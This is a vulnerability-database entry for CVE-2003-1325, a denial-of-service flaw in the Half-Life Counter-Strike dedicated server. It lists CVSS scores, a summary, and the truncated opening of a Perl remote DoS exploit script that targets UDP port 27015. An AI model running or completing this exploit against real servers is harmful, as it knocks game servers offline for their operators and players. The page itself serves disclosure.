5.2
CVSSv2

CVE-2003-1325

Published: 31/12/2003 Updated: 05/09/2008
CVSS v2 Base Score: 5.2 | Impact Score: 6.9 | Exploitability Score: 4.4
VMScore: 525
Vector: AV:A/AC:M/Au:S/C:N/I:N/A:C

Vulnerability Summary

The SV_CheckForDuplicateNames function in Valve Software Half-Life CSTRIKE Dedicated Server 1.1.1.0 and previous versions allows remote authenticated users to cause a denial of service (infinite loop and daemon hang) via a certain connection string to UDP port 27015 that represents "absence of player informations," a related issue to CVE-2006-0734.

Vulnerable Product Search on Vulmon Subscribe to Product

valve software half-life cstrike dedicated server

Exploits

#!/usr/bin/perl # Server must not be running steam /str0ke # Half-Life engine remote DoS exploit # bug found by Firestorm # tested against cstrike 16 Windows build-in server, cstrike 16 linux dedicated server use IO::Socket; die "usage: /csdos <host>" unless $ARGV[0]; $host=$ARGV[0]; if (fork()) { econnect($host); } else { econne ...